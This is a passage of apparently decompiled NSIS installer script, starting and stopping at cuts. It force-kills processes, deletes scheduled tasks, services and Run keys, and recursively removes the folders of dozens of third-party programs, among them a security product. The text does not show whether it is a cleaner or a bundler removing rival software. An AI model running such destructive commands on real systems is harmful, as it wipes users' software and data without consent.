$PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run cpuminer RMDir /r /REBOOTOK $APPDATA\cpuminer label_2890: IfFileExists $APPDATA\OpenKP\OpenKP.exe 0 label_2902 nsExec::Exec "cmd /k taskkill /IM OpenKP.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM OpenKP.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"OpenKP$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"OpenKP$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\OpenKP label_2902: IfFileExists $PROGRAMFILES\HomePageDefender\HpDefSrv.exe 0 label_2915 nsExec::Exec "cmd /k taskkill /IM HpDefSrv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM HpDefSrv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Stuff.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Stuff.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HomePageDefender Service" RMDir /r /REBOOTOK $PROGRAMFILES\HomePageDefender label_2915: IfFileExists $LOCALAPPDATA\HourNews\launcher.exe 0 label_2928 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run HourNews RMDir /r /REBOOTOK $LOCALAPPDATA\HourNews label_2928: IfFileExists $PROGRAMFILES\osTip 0 label_2931 DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem RMDir /r /REBOOTOK $PROGRAMFILES\osTip label_2931: IfFileExists $PROGRAMFILES\Yeaplayer 0 label_2944 nsExec::Exec "cmd /k taskkill /IM Yeaplayermd.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Yeaplayermd.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM UpdatePlugins.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UpdatePlugins.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Yeaplayer RMDir /r /REBOOTOK $PROGRAMFILES\Yeaplayer label_2944: IfFileExists $LOCALAPPDATA\Yeaplayer 0 label_2946 RMDir /r /REBOOTOK $LOCALAPPDATA\Yeaplayer label_2946: IfFileExists $PROGRAMFILES\HDef 0 label_2949 DeleteRegKey HKLM SYSTEM\ControlSet001\services\HSystem RMDir /r /REBOOTOK $PROGRAMFILES\HDef label_2949: IfFileExists $APPDATA\CentralPicture\CentralPicture.exe 0 label_2961 nsExec::Exec "cmd /k taskkill /IM CentralPicture.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CentralPicture.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"CentralPicture$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"CentralPicture$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\CentralPicture label_2961: IfFileExists $PROGRAMFILES\MobilePCStarterKit 0 label_2963 RMDir /r /REBOOTOK $PROGRAMFILES\MobilePCStarterKit label_2963: IfFileExists $LOCALAPPDATA\mpck_en_* 0 label_2972 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\mpck_en_* label_2966: StrCmp $R1 "" label_2971 IfFileExists $LOCALAPPDATA\$R1 0 label_2969 RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 label_2969: FindNext $0 $R1 Goto label_2966 label_2971: FindClose $0 label_2972: IfFileExists $PROGRAMFILES\SunnyDayApps 0 label_2974 RMDir /r /REBOOTOK $PROGRAMFILES\SunnyDayApps label_2974: IfFileExists $PROGRAMFILES\win_en_* 0 label_2989 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\win_en_* label_2977: StrCmp $R1 "" label_2988 IfFileExists $PROGRAMFILES\$R1 0 label_2986 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R1 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_2986: FindNext $0 $R1 Goto label_2977 label_2988: FindClose $0 label_2989: IfFileExists $DOCUMENTS\systemfile.exe 0 label_2997 nsExec::Exec "cmd /k taskkill /IM systemfile.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM systemfile.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run SystemClose Delete /REBOOTOK $DOCUMENTS\systemfile.exe label_2997: IfFileExists $PROGRAMFILES\SunnyDay* 0 label_3016 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\SunnyDay* label_3000: StrCmp $R1 "" label_3015 IfFileExists $PROGRAMFILES\$R1 0 label_3013 nsExec::Exec "cmd /k taskkill /IM SunnyDay.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SunnyDay.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM wizzupdater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM wizzupdater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_3013: FindNext $0 $R1 Goto label_3000 label_3015: FindClose $0 label_3016: IfFileExists $LOCALAPPDATA\SunnyDay* 0 label_3031 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\SunnyDay* label_3019: StrCmp $R1 "" label_3030 IfFileExists $LOCALAPPDATA\$R1 0 label_3028 nsExec::Exec "cmd /k taskkill /IM usun.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM usun.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce usun.exe RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 label_3028: FindNext $0 $R1 Goto label_3019 label_3030: FindClose $0 label_3031: IfFileExists $PROGRAMFILES\SFK\SSFK.exe 0 label_3039 nsExec::Exec "cmd /k taskkill /IM SSFK.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SSFK.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\SSFK RMDir /r /REBOOTOK $PROGRAMFILES\SFK label_3039: ClearErrors ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\WdMan ImagePath IfErrors label_3054 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_3054 DeleteRegKey HKLM SYSTEM\ControlSet001\services\WdMan RMDir /r /REBOOTOK $2 label_3054: IfFileExists $LOCALAPPDATA\ipro\ipro.exe 0 label_3066 nsExec::Exec "cmd /k taskkill /IM ipro.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ipro.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ipro$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ipro$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\ipro label_3066: StrCpy $0 "" IfFileExists "$DESKTOP\Yeab$0eats Browser.lnk" 0 label_3069 Delete "$DESKTOP\Yeab$0eats Browser.lnk" label_3069: StrCpy $0 "" IfFileExists "$DESKTOP\Yeab$0eats Browser.lnk" 0 label_3072 Delete "$DESKTOP\Yeab$0eats Browser.lnk" label_3072: IfFileExists $DESKTOP\AutoTime.LNK 0 label_3074 Delete $DESKTOP\AutoTime.LNK label_3074: IfFileExists "$APPDATA\User Pinned\TaskBar\Yeabeats Browser.lnk" 0 label_3076 Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Yeabeats Browser.lnk" label_3076: IfFileExists "$APPDATA\Yeabeats Browser.lnk" 0 label_3078 Delete /REBOOTOK "$APPDATA\Yeabeats Browser.lnk" label_3078: IfFileExists "$APPDATA\User Pinned\TaskBar\Advanced SystemCare 8.lnk" 0 label_3080 Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Advanced SystemCare 8.lnk" label_3080: IfFileExists "$APPDATA\Advanced SystemCare 8.lnk" 0 label_3082 Delete /REBOOTOK "$APPDATA\Advanced SystemCare 8.lnk" label_3082: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jidkebcigjgheaahopdnlfaohgnocfai $0 IfErrors label_3086 DeleteRegKey HKLM Software\Google\Chrome\Extensions\jidkebcigjgheaahopdnlfaohgnocfai label_3086: IfFileExists "$APPDATA\VK OK AdBlock" 0 label_3088 RMDir /r /REBOOTOK "$APPDATA\VK OK AdBlock" label_3088: IfFileExists $APPDATA\GreenDinlight.exe 0 label_3100 nsExec::Exec "cmd /k taskkill /IM GreenDinlight.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM GreenDinlight.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"GreenDinlight$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"GreenDinlight$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete $APPDATA\GreenDinlight.exe label_3100: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen $0 IfErrors label_3104 DeleteRegKey HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen label_3104: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk $0 IfErrors label_3108 DeleteRegKey HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk label_3108: IfFileExists $LOCALAPPDATA\SHAREit 0 label_3110 RMDir /r /REBOOTOK $LOCALAPPDATA\SHAREit label_3110: IfFileExists $PROGRAMFILES\SHAREit 0 label_3118 nsExec::Exec "cmd /k taskkill /IM Shareit.Service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Shareit.Service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ShareItSvc RMDir /r /REBOOTOK $PROGRAMFILES\SHAREit label_3118: IfFileExists $DESKTOP\Vkontakte.lnk 0 label_3120 Delete $DESKTOP\Vkontakte.lnk label_3120: IfFileExists $APPDATA\FastVKOpen 0 label_3132 nsExec::Exec "cmd /k taskkill /IM FastVKOpen.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FastVKOpen.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"FastVKOpen$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"FastVKOpen$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\FastVKOpen label_3132: IfFileExists $LOCALAPPDATA\AuthoritiesThreefold 0 label_3134 RMDir /r /REBOOTOK $LOCALAPPDATA\AuthoritiesThreefold label_3134: IfFileExists $PROGRAMFILES\CleanBrowser\app\bin 0 label_3147 nsExec::Exec "cmd /k taskkill /IM nw.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM nw.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM nwjc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM nwjc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CleanBrowser RMDir /r /REBOOTOK $PROGRAMFILES\CleanBrowser label_3147: IfFileExists $APPDATA\TheismsLimb 0 label_3149 RMDir /r /REBOOTOK $APPDATA\TheismsLimb label_3149: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jdfonankhfnhihdcpaagpabbaoclnjfp $0 IfErrors label_3153 DeleteRegKey HKLM Software\Google\Chrome\Extensions\jdfonankhfnhihdcpaagpabbaoclnjfp label_3153: IfFileExists $LOCALAPPDATA\SearchGo 0 label_3165 nsExec::Exec "cmd /k taskkill /IM searchgo.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM searchgo.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"SearchGo Task$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"SearchGo Task$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\SearchGo label_3165: IfFileExists $LOCALAPPDATA\prestrm 0 label_3177 nsExec::Exec "cmd /k taskkill /IM prestrm.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM prestrm.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"prestrm$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"prestrm$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\prestrm label_3177: IfFileExists $APPDATA\ImageCenter\ImageEd 0 label_3185 nsExec::Exec "cmd /k taskkill /IM ImageCenter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ImageCenter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ImageEd RMDir /r /REBOOTOK $APPDATA\ImageCenter label_3185: IfFileExists $APPDATA\IObit 0 label_3187 RMDir /r /REBOOTOK $APPDATA\IObit label_3187: ClearErrors ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain UninstallString IfErrors label_3201 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_3201 RMDir /r /REBOOTOK $2 label_3201: IfFileExists $PROGRAMFILES64\ByteFence 0 label_3224 nsExec::Exec "cmd /k taskkill /IM ByteFence.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ByteFence.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM rtop_svc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM rtop_svc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ByteFence$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ByteFence$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"ByteFence Scan$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ByteFence Scan$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegKey HKLM SYSTEM\ControlSet001\services\rtop RMDir /r /REBOOTOK $PROGRAMFILES64\ByteFence label_3224: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bejnpnkhfgfkcpgikiinojlmdcjimobi $0 IfErrors label_3228 DeleteRegKey HKLM Software\Google\Chrome\Extensions\bejnpnkhfgfkcpgikiinojlmdcjimobi label_3228: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\geidjeefddhgefeplhdlegoldlgiodon $0 IfErrors label_3232 DeleteRegKey HKLM Software\Google\Chrome\Extensions\geidjeefddhgefeplhdlegoldlgiodon label_3232: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\pjfkgjlnocfakoheoapicnknoglipapd $0 IfErrors label_3236 DeleteRegKey HKLM Software\Google\Chrome\Extensions\pjfkgjlnocfakoheoapicnknoglipapd label_3236: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\pfigaoamnncijbgomifamkmkidnnlikl $0 IfErrors label_3240 DeleteRegKey HKLM Software\Google\Chrome\Extensions\pfigaoamnncijbgomifamkmkidnnlikl label_3240: IfFileExists $LOCALAPPDATA\FlaggingsPlatesful 0 label_3242 RMDir /r /REBOOTOK $LOCALAPPDATA\FlaggingsPlatesful label_3242: IfFileExists $LOCALAPPDATA\JamboreesAwol 0 label_3244 RMDir /r /REBOOTOK $LOCALAPPDATA\JamboreesAwol label_3244: IfFileExists $APPDATA\CenterPicture\CenterPicture.exe 0 label_3256 nsExec::Exec "cmd /k taskkill /IM CenterPicture.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CenterPicture.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"CenterPicture$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"CenterPicture$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\CenterPicture label_3256: IfFileExists $LOCALAPPDATA\OmeletsBefool 0 label_3258 RMDir /r /REBOOTOK $LOCALAPPDATA\OmeletsBefool label_3258: IfFileExists $LOCALAPPDATA\BiggishBlanch 0 label_3260 RMDir /r /REBOOTOK $LOCALAPPDATA\BiggishBlanch label_3260: IfFileExists $PROGRAMFILES\Booking.com 0 label_3292 nsExec::Exec "cmd /k taskkill /IM Booking_helper.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Booking_helper.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Booking.com.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Booking.com.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM wow_helper.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM wow_helper.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"booking.com Sat1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"booking.com Sat1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"booking.com Sat2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"booking.com Sat2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Booking_helper$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Booking_helper$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\Booking.com label_3292: IfFileExists $APPDATA\Booking_helper 0 label_3294 RMDir /r /REBOOTOK $APPDATA\Booking_helper label_3294: IfFileExists $APPDATA\GoldenGate 0 label_3296 RMDir /r /REBOOTOK $APPDATA\GoldenGate label_3296: IfFileExists $LOCALAPPDATA\CongasNecessariness 0 label_3298 RMDir /r /REBOOTOK $LOCALAPPDATA\CongasNecessariness label_3298: IfFileExists $LOCALAPPDATA\MinimsPunkin 0 label_3300 RMDir /r /REBOOTOK $LOCALAPPDATA\MinimsPunkin label_3300: IfFileExists $LOCALAPPDATA\nethost 0 label_3312 nsExec::Exec "cmd /k taskkill /IM nethost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM nethost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"nethost$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"nethost$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\nethost label_3312: IfFileExists $LOCALAPPDATA\sysnet 0 label_3324 nsExec::Exec "cmd /k taskkill /IM sysnet.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM sysnet.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"sysnet$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"sysnet$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\sysnet label_3324: IfFileExists $LOCALAPPDATA\syslog 0 label_3336 nsExec::Exec "cmd /k taskkill /IM syslog.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM syslog.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"syslog$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"syslog$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\syslog label_3336: ClearErrors EnumRegKey $0 HKCU Software\Microsoft\Startlink\2inf_startlink $0 IfErrors label_3360 StrCpy $0 0 label_3340: EnumRegKey $1 HKLM SOFTWARE $0 StrCmp $1 "" label_3360 IntOp $0 $0 + 1 ClearErrors ReadRegStr $2 HKLM SOFTWARE\$1 c IfErrors label_3340 IfFileExists $LOCALAPPDATA\$1\$1.exe 0 label_3340 nsExec::Exec "cmd /k taskkill /IM $\"$1.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$1.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"$1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $LOCALAPPDATA\$1\$1.exe StrCpy $0 0 Goto label_3340 label_3360: IfFileExists $LOCALAPPDATA\ComDev 0 label_3372 nsExec::Exec "cmd /k taskkill /IM ComDev.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ComDev.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ComDev$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ComDev$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\ComDev label_3372: IfFileExists $LOCALAPPDATA\ScriptWriter 0 label_3384 nsExec::Exec "cmd /k taskkill /IM ScriptWriter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ScriptWriter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ScriptWriter$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ScriptWriter$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\ScriptWriter label_3384: IfFileExists $LOCALAPPDATA\PowerMonitor 0 label_3396 nsExec::Exec "cmd /k taskkill /IM PowerMonitor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PowerMonitor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"PowerMonitor$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PowerMonitor$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\PowerMonitor label_3396: IfFileExists $LOCALAPPDATA\FileSystemDriver 0 label_3408 nsExec::Exec "cmd /k taskkill /IM FileSystemDriver.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM FileSystemDriver.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"FileSystemDriver$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"FileSystemDriver$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\FileSystemDriver label_3408: IfFileExists $LOCALAPPDATA\svshost 0 label_3420 nsExec::Exec "cmd /k taskkill /IM svshost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM svshost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete 